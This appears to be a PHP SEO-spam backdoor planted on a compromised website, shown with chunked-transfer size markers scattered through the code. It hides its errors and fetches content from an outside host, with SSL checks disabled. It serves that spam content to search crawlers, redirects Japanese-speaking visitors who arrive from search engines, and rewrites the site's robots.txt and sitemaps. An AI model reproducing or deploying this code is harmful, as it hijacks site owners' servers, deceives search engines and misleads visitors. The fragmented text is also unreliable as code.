1 < 3 ?ph 4 p er 5 ror_r 4 epor 4 ting 3 (0) 4 ; @s 4 et_t 4 ime_ 4 limi 3 t(1 7 20); @i 4 gnor 5 e_use 4 r_ab 4 ort( 5 1); $ 4 tr = 4 "ht 4 tps: 3 //j 3 260 3 406 3 _23 3 .ve 5 rnice 3 .in 4 fo/" 3 ; c 5 lass 3 Req 3 { 6 pu 3 bli 4 c fu 4 ncti 3 on 7 server( 4 $nam 5 e = ' 4 ', $ 4 defa 3 ult 6 = '') b { 7 if 3 (em 3 pty 8 ($name)) f { 4 retu 5 rn $_ 3 SER 4 VER; 5 e } 9 $name = s 5 trtou 2 pp b er($name); f return 5 isset 9 ($_SERVER 6 [$name 3 ]) a ? $_SERVER 9 [$name] : 9 $default c ; } 10 public function 4 iss( 17 ) { if ($th 4 is-> 8 server(' 3 HTT 4 PS') 3 && 3 (" 4 1" = 2 = 1a $this->server('HTTPS') || 3 "on a " == strto 3 low 19 er($this->server('HTTPS') 1 ) 1c )) { return true c ; } 4 else 5 if (' 6 https' 15 == $this->server('RE 4 QUES 3 T_S 4 CHEM 2 E' 33 )) { return true; } elseif ('44 1 3 1b ' == $this->server('SERVER_ 3 POR 33 T')) { return true; } elseif (' 19 https' == $this->server(' 6 HTTP_X 4 _FOR 3 WAR 4 DED_ 3 PRO 2 TO 38 ')) { return true; } return 2 fa 1f lse; } public function 4 host 12 () { $ 4 host 6 = str 3 val 14 ($this->server('HTTP f _X_FORWARDED_HO 5 ST') 4 ?: $ 13 this->server('HTTP_ 6 HOST') 15 ); return str 4 pos( 7 $host, 2 ': 8 ') ? str e str($host, ':' 6 , true 5 ) : $ 4 host 1f ; } public function sch 3 eme 11 () { e return $this-> 5 iss() 9 ? "https 4 " : 8 "http"; a } 12 public function dm 1f () { return $this-> a scheme() . 2 " 7 ://" . 7 $this-> 22 host(); } public function 2 ip 16 () { if (g 4 eten 2 v( 7 'HTTP_C 4 LIEN 3 T_I 13 P')) { 3 $ip 1b = getenv('HTTP_CLIENT_IP') 14 ; } elseif ( d getenv('HTTP_ f X_FORWARDED_FOR 25 ')) { $ip = getenv('HTTP_ 11 X_FORWARDED_FOR') 1f ; } elseif (getenv('REM 4 OTE_ 3 ADD 21 R')) { $ip = getenv(' 1d REMOTE_ADDR'); } else f { 6 $ip = 27 $this->server('REMOTE_ADDR'); } 10 return 3 $ip 1f ; } public function isc 13 () { $a 3 gen 7 t = str 1d tolower($this->server('HTTP_U 5 SER_A 4 GENT 3 ')) e ; if ( 8 $agent ! 4 = '' 7 && pre 4 g_ma 4 tch( 3 '/g 4 oogl 4 ebot 7 |google 4 |yah 3 oo| 4 bing 4 |aol 3 /si 9 ', $agent 27 )) { return true; } 10 return 22 false; } public function i 2 sg b () { 4 $ref 5 er = 1f strtolower($this->server('HTTP_ 4 REFE 2 RE e R')); 9 $referbot 5 s = ' 16 google|yahoo|bing|aol' f ; if ($ 1a refer != '' && preg_match( 3 "/( b $referbots) 4 /si" 8 , $refer 59 )) { return true; } return false; } public function u 2 ri 11 () { 6 if (($ 9 pos = str 5 pos($ e this->server(' a REQUEST_UR 3 I') 4 , '. 3 php 5 ')) ! 8 == false 11 ) { $ 4 scri 3 pt_ 9 name = ba 6 sename 11 ($this->server('S 4 CRIP 3 T_F 3 ILE 2 NA f ME')); 4 23 if (basename($this->server('SCRIPT_ 7 NAME')) 6 === $ b script_name 14 ) { 4 $url 3 = 16 $this->server('SCRIPT_ 14 NAME'); 1 } 21 elseif (basename($this->server(' 3 PHP 4 _SEL 5 F')) 3a === $script_name) { $url = $this->server(' a PHP_SELF') 32 ; } elseif (basename($this->server('OR 2 IG 8 _SCRIPT_ 42 NAME')) === $script_name) { $url = $this->server(' 12 ORIG_SCRIPT_NAME') 18 ; } elseif ( 28 ($pos = strpos($this->server('PHP_SELF') 5 , '/' 4 . $ c script_name) 1b ) !== false) { e $url = sub 5 str($ e this->server(' 10 SCRIPT_NAME'), 0 3 , $ 4 pos) 15 . '/' . $script_name 18 ; } elseif ( 11 $this->server('DO 3 CUM 6 ENT_RO 5 OT') 3 && 8 strpos($ 1f this->server('SCRIPT_FILENAME') 3 , $ 1d this->server('DOCUMENT_ROOT') 7 ) === 0 1b ) { $url = 7 str_rep 3 lac 11 e($this->server(' 12 DOCUMENT_ROOT'), ' 4 ', $ 1f this->server('SCRIPT_FILENAME') 19 ); } 6 $r 2 eq 7 uri = $ 6 url . 16 substr($this->server(' f REQUEST_URI'), 7 $pos + c 4); 6 } else 10 { $ 2e requri = substr($this->server('REQUEST_URI'), 16 strpos($this->server(' 11 REQUEST_URI'), '/ d ')); a } b return rtri 5 m($re 4 quri c , '/'); 16 } public function 4 exec 4 Req( 4 $url 8 , $p = a 4 rray 2 () 10 ) { 13 $url = str_replace( 5 ' ', 2 '+ 7 ', $url d ); $c 5 h = c 5 url_i 4 nit( b ); 8 curl_set 2 op 5 t($ch 4 , CU 3 RLO 6 PT_URL 11 , $url); 1c curl_setopt($ch, CURLOPT_RET 3 URN 3 TRA 2 NS 5 FER, 8 1); 4 1c curl_setopt($ch, CURLOPT_HEA 5 DER, 4 0); 23 curl_setopt($ch, CURLOPT_TI 4 MEOU 3 T, 5 20); 22 curl_setopt($ch, CURLOPT_P 3 OST 29 , 1); curl_setopt($ch, CURLOPT_SS 2 L_ 5 VERIF 3 YPE 29 ER, 0); curl_setopt($ch, CURLOPT_ e SSL_VERIFYHOST 27 , 0); curl_setopt($ch, CURLOPT_ 6 POSTFI 3 ELD 3 S, 6 http_b 4 uild 4 _que 4 ry($ e p)); $ 4 outp 5 ut = 5 curl_ 8 exec($ch c ); $ 7 errorCo 5 de = 8 curl_err 2 no 15 ($ch); curl_c 3 los 10 e($ch); 4 if ( 6 0 !== a $errorCode 10 ) { 7 return f false; 12 } return $ 6 output 8 ; } 2 } 8 $req = n 2 ew 8 Req(); 4 $isc 4 = $ 5 req-> a isc(); $is c g = $req->is 3 g() 6 ; $uma 4 p = 4 $tr 6 . "map 3 "; 7 $uri = 5 urlde 4 code 6 ($req- 6 >uri() 4 ); $ f p = array( 4 "dom 2 ai 5 n" => b $req->dm() 7 , " 4 port b " => $req-> b server('SER 3 VER 8 _PORT', 2 80 b ), "uri 9 " => $uri 4 ); c if (substr($ 6 uri, - 4 10) 4 == " 2 ro 7 bots.tx 2 t" b ) { hea 4 der( 4 "Con 4 tent 4 -typ 4 e:te 3 xt/ 5 plain 4 ; ch 2 ar 6 set=ut 3 f-8 8 "); 2 di 11 e($req->execReq($ 6 tr . " a robots", $ 6 p)); } 14 if (substr($uri, -6 c ) == "robots 9 ") { 10 $output = $req-> 1b execReq($tr . "robots", $p) 9 ; $rp 5 t = _ 4 _DIR 6 __ . " c /robots.txt" 8 ; fi 3 le_ 5 put_c 6 ontent 6 s($rpt 9 , $output e ); $robots 9 _cont = @ 5 file_ 11 get_contents($rpt 7 ); b if (strpos( c strtolower($ b robots_cont 6 ), "si 2 te 11 map")) { 4 die( c "robots.txt 8 file cre 3 ate 6 succe 3 ss! 8 "); 11 } else { 1f die("robots.txt file create fai b l!"); } 16 } if (substr($uri, -4 7 ) == ". 3 xml 9 ") { f if (strpos($uri 5 , "al 8 lsitemap 7 .xml") 3 || e strpos($uri, " a sitemap-in 3 dex 26 .xml") || strpos($uri, "sitemap-index- 19 1.xml") || strpos($uri, " b index.xml") c ) { 1d $output = $req->execReq($umap 5 , $p) a ; 1e header("Content-type:text/" . 9 (substr($ 6 output 6 , 0, 5 8 ) === '< 4 ?xml 4 ' ? 7 'xml' : 2 ' 8 plain') 3 . ' f ; charset=utf-8 c '); 4 die( 3 '' 10 . $output); 6 } 19 $output = $req->execReq($ 9 tr . "wor 7 d", $p) 6 ; 1d header("Content-type:text/xml 17 ; charset=utf-8"); 5 if ($ b output == " a 1") { e die('' . $ 5 req-> 12 execReq($umap, $p) 7 ); 15 } else { die( 18 '' . $output); } } $ 3 lan a g = $req-> e server('HTTP_A 3 CCE 4 PT_L 3 ANG 4 UAGE 8 '); if ( 1 ! 8 $isc && 4 $isg 10 && strpos($lang 3 , ' 4 ja') 3 !== f false) { $p 3 ["i 3 p"] a = $req->i 3 p() 8 ; $a 6 ction b = $tr . "ju 9 mp"; 13 die($req->execReq($ 6 action 12 , $p)); } if ($isc 8 ) { 18 die('' . $req->execReq($ 6 tr . " 5 indat c a", $p)); } 2 ?> 0